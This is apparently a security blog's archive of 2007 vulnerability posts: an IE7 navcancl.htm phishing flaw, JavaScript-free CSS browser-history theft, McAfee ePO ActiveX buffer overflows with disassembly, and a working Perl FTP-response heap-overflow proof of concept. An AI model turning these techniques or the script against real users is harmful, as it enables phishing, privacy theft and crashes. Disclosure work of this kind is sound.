Phishing using IE7 local resource vulnerability
Summary
Internet Explorer 7.0 is vulnerable to cross-site scripting in one of its local resources. In combination with a design flaw in this specific local resource it is possible for an attacker to easily conduct phishing attacks against IE7 users.
Affected versions
• Windows Vista - Internet Explorer 7.0
• Windows XP - Internet Explorer 7.0
Technical Details
The navcancl.htm local resource is used by the browser when for some reason a navigation to a specific page is canceled.
When a navigation is canceled the URL of the specific page is provided to the navcancl.htm local resource after the # sign. For example: res://ieframe.dll/navcancl.htm#http://www.site.com. The navcancl.htm page then generates a script in the “Refresh the page.” link in order to reload the provided site again when the user clicks on this link.
It is possible to inject a script in the provided link which will be executed when the user clicks on the “Refresh the page.” link.
Luckily, Internet Explorer now runs most of its local resources (including navcancl.htm) in “Internet Zone”, so this vulnerability cannot be exploited to conduct a remote code execution.
Unfortunately, there is also a design flaw in IE7. The browser automatically removes the URL path of the local resource and leaves only the provided URL. For example: when the user visits res://ieframe.dll/navcancl.htm#http://www.site.com, IE7 will show http://www.site.com in the address bar.
To perform a phishing attack, an attacker can create a specially crafted navcancl.htm local resource link with a script that will display a fake content of a trusted site (e.g. bank, paypal, MySpace).
When the victim will open the link that was sent by the attacker, a “Navigation Canceled” page will be displayed. The victim will think that there was an error in the site or some kind of a network error and will try to refresh the page. Once he will click on the “Refresh the page.” link, The attacker’s provided content (e.g. fake login page) will be displayed and the victim will think that he’s within the trusted site, because the address bar shows the trusted site’s URL.
Proof-of-Concept
A CNN.com article spoofing proof-of-concept can be found here.
If you are not using IE7, you can watch a demonstration video here.
Workaround / Suggestion
Until Microsoft fixes this vulnerability, do not trust the “Navigation Canceled” page!
Labels: Exploit, http, Microsoft, Vulnerability
'We all know there are still people out there who think turning off JavaScript protects them from everything.'
See also : https://www.indiana.edu/~phishing/browser-recon/
Research by RSnake
----------------------------------
Well, the server is back up and running (big thanks to id - during our upgrade there was a drive failure causing us to have to switch machines), and to celebrate I didn’t want to come back with a boring post that would make you question why you read this site. So instead I decided to play around with some CSS tricks - bare with me for a minute. I don’t know why, but I really think CSS is going to get worse over time. Anyway, as I was poking around I happened across one of the missing pieces of the puzzle to solve a simple problem in using CSS to hack - the lack of conditional logic.
Jeremiah and I spent at least an hour on the phone several months back when he was coming up with browser port scanning without JavaScript. One of the key problems with that technique, which he later overcame, was that he was unable to find any good way to do conditional logic in CSS, so instead he leaned on a browser quirk that delays the rendering of images. Watching the timing differences can help an attacker derive which ports are open and which aren’t. While very cool, it’s caused some headaches and only solved one of our problems.
Before that Jeremiah also came up with the original CSS history hack as you may or may not remember. Later on pdp came up with another variant of the same issue using a very different technique (Firefox caching). Both of those techniques were cool, but both of them also required that you have JavaScript turned on. We all know there are still people out there who think turning off JavaScript protects them from everything.
Keeping this in mind it would be great if you could create a form of conditional logic in CSS. Well I finally figured out a way. Using a hybrid of a:visited and display: attribute you can detect that the user has visited a page and more importantly perform an action based on that fact. The actions are somewhat limited if you can’t use JavaScript, however, one action is enough. The reason being, when something is set to display:none it will actually cause the HTML tag that it references to not render. Setting the background: image attribute for the visible tag to use a URL of a logging CGI script allows you to send a request to a remote webserver based on the conditional logic as mentioned above.
Now, the only lacking part is the state management, and that can easily be tied together using a unique cookie, and/or an IP address in the QUERY_STRING or anything else you want to use to identify the user. In this way, the remote website can steal history information from the user without ever once using JavaScript, or any client side programming. Click here for a proof of concept of the CSS history theft without using JavaScript. This works nearly instantly, so it is far better than the JavaScript-less intranet hacking and pdp’s version of the JavaScript CSS history hack in terms of speed. The only latency is the time it takes your browser to request the images associated with each URL you’ve visited - which is nearly instant since I don’t return any data (and thanks to browser threading). The other nice thing about this is that it works beautifully in both Internet Explorer 7.0 and Firefox 2.0.0.2 (although it doesn’t work in Opera 9.22).
I haven’t experimented much with this yet, but I also believe this could be expanded to do another form of intranet port scanning as well. Using a series of iframes and forced browsing it may be possible to detect which pages the user can access. I’m not in love with this technique because the CSS will fire too quickly so you’d have to delay the CSS from loading or make it reload with a meta refresh or something equivalent, but I also haven’t put much thought into it yet.
The ramifications of the CSS history hacking stuff is that it allows the attacker to steal information about the client, which can be useful to identify a target, to find information about the user, for use in targeted attacks, to know trending information for use in targeted advertizements or other forms of private information theft.
So now we’ve eliminated the JavaScript pre-requisite from Intranet port scanning, cross site request forgeries, session riding and of course CSS history hacking. The only thing we can’t yet do without JavaScript is read cross domain (and I stress the word yet). What else is left? I don’t mean to sound ho-hum about this, but really, what else do we have to do? Are there any nay-sayers left?
Labels: Exploit, http, Vulnerability
hi full-disclosure,
McAfee ePolicy Orchestrator Multiple Remote Buffer Overflow Vulnerabilities
by cocoruder of FSRT(Fortinet Security Research Team)
hfli_at_fortinet.com
Summary:
Multiple remote buffer overflow vulnerabilities exist in the ActiveX Control named "SiteManager.Dll" of McAfee ePolicy Orchestrator. A remote attacker who successfully exploit these vulnerabilities can completely take control of the affected system.
Affected Software Versions:
McAfee ePolicy Orchestrator 3.6.1
McAfee ePolicy Orchestrator 3.5 patch 6
Details:
1.Function "ExportSiteList()" educed by "SiteManager.dll" stack overflow.
InprocServer32: SiteManager.dll
ClassID : 4124FDF6-B540-44C5-96B4-A380CEE9826A
ProgID : SiteManager.SiteMgr.1
Function Name : ExportSiteList
When we set the parameter of "ExportSiteList" a long string, there will cause a stack base overflow. The following is the related code:
(SiteManager.dll,version=3.6.1.166)
.text:5262B1DE ; func_ExportSiteList
.text:5262B1DE ; Attributes: bp-based frame
.text:5262B1DE
.text:5262B1DE ; int __stdcall sub_5262B1DE(int,wchar_t *,int)
.text:5262B1DE sub_5262B1DE proc near ; DATA XREF: .rdata:5265B504o
.text:5262B1DE ; .rdata:5265B614o
.text:5262B1DE
.text:5262B1DE var_414 = word ptr -414h
.text:5262B1DE var_20E = word ptr -20Eh
.text:5262B1DE var_20C = word ptr -20Ch
.text:5262B1DE var_4 = dword ptr -4
.text:5262B1DE arg_0 = dword ptr 8
.text:5262B1DE arg_4 = dword ptr 0Ch
.text:5262B1DE arg_8 = dword ptr 10h
.text:5262B1DE
.text:5262B1DE push ebp
.text:5262B1DF mov ebp, esp
.text:5262B1E1 sub esp, 414h
.text:5262B1E7 mov eax, dword_52670218 ; set stack cookie
.text:5262B1EC push esi
.text:5262B1ED push [ebp+arg_4] ; lpSrcBuff
.text:5262B1F0 mov [ebp+var_4], eax
.text:5262B1F3 lea eax, [ebp+var_20C]
.text:5262B1F9 push eax ; lpDestBuff
.text:5262B1FA call ds:wcscpy ; stack overflow
2.Moreover, we think that the following "swprintf" function also has carried out the copy action without attestation, as follows:
.text:5262B257 push ebx
.text:5262B258 push edi
.text:5262B259 mov edi, offset aSitelist_xml ; "SiteList.xml"
.text:5262B25E push edi
.text:5262B25F lea eax, [ebp+var_20C]
.text:5262B265 push eax
.text:5262B266 lea eax, [ebp+var_414]
.text:5262B26C push offset aSS_0 ; "%s\\%s"
.text:5262B271 push eax ; lpSrcBuff
.text:5262B272 call ds:swprintf ; stack overflow
3.Function "VerifyPackageCatalog()" educed by "SiteManager.dll" stack overflow.
InprocServer32: SiteManager.dll
ClassID : 4124FDF6-B540-44C5-96B4-A380CEE9826A
ProgID : SiteManager.SiteMgr.1
Function Name : VerifyPackageCatalog
When we set the parameter of "VerifyPackageCatalog" a long string, there will cause a stack base overflow. The following is the related code:
(SiteManager.dll,version=3.6.1.166)
part1:
.text:5262CFAC func_VerifyPackageCatalog proc near
.text:5262CFAC
.text:5262CFAC mov eax, offset loc_52649F86
.text:5262CFB1 call __EH_prolog
...
.text:5262D00C lea eax, [ebp-28h]
.text:5262D00F push eax
.text:5262D010 push ebx
.text:5262D011 push esi
.text:5262D012 push offset loc_5263AD1A
.text:5262D017 push ebx
.text:5262D018 push ebx
.text:5262D019 call ds:_beginthreadex
part2:
.text:5263AD1A mov eax, offset loc_5264B221
.text:5263AD1F call __EH_prolog
.text:52637229 push ecx
.text:5263722A mov eax, 1774h
.text:5263722F call __alloca_probe ; int
.text:52637234 mov eax, dword_52670218
.text:52637239 mov [ebp-14h], eax ; set stack-cookie
...
.text:5263AD9A lea ecx, [ebp-23Ch]
.text:5263ADA0 push ecx
.text:5263ADA1 push eax
.text:5263ADA2 mov ecx, edi
.text:5263ADA4 call sub_5263721F
|
|_____ .text:5263721F mov eax, offset loc_5264AD1C
.text:52637224 call __EH_prolog
...
.text:5263731A push dword ptr [ebp+8] ; lpSrcBuff,"AAA..."
.text:5263731D lea eax, [ebp-62Ch]
.text:52637323 push eax ; lpDestBuff
.text:52637324 call ds:wcscpy ; stack overflow
Solution:
McAfee has released two patches and advisories which are available on:
https://knowledge.mcafee.com/SupportSite/search.do?cmd=displayKC&docType=kc&sliceId=SAL_Public&externalId=612495
https://knowledge.mcafee.com/SupportSite/search.do?cmd=displayKC&docType=kc&sliceId=SAL_Public&externalId=612496
Disclosure Timeline:
2006.12.19 Submitted vul1 and vul2 via security-alerts at mcafee.com
2006.12.19 Vendor responded
2006.12.30 Submitted vul3 via security-alerts at mcafee.com
2006.12.30 Vendor responded
2007.03.12 Vendor noticed patches has been developed completely
2007.03.13 Coordinated public disclosure
Disclaimer:
Although Fortinet has attempted to provide accurate information in
these materials, Fortinet assumes no legal responsibility for the
accuracy or completeness of the information. More specific information
is available on request from Fortinet. Please note that Fortinet's
product information does not constitute or contain any guarantee,
warranty or legally binding representation, unless expressly
identified as such in a duly signed writing.
Fortinet Security Research
secresearch at fortinet.com
http://www.fortinet.com
Best Regards,
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡hfli
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡hfli at fortinet.com
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡2007-03-14
Labels: Anti-Virus, Exploit, Vulnerability
Proof of concept code for MS FTP Server Response vulnerability.
===============================
#!/usr/bin/perl
# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024 characters
# in length, you will overflow the heap with the string \x00.
use IO::Socket;
use strict;
# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21',
Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");
# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";
# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);
# milw0rm.com [2007-03-09]
Labels: Exploit, Microsoft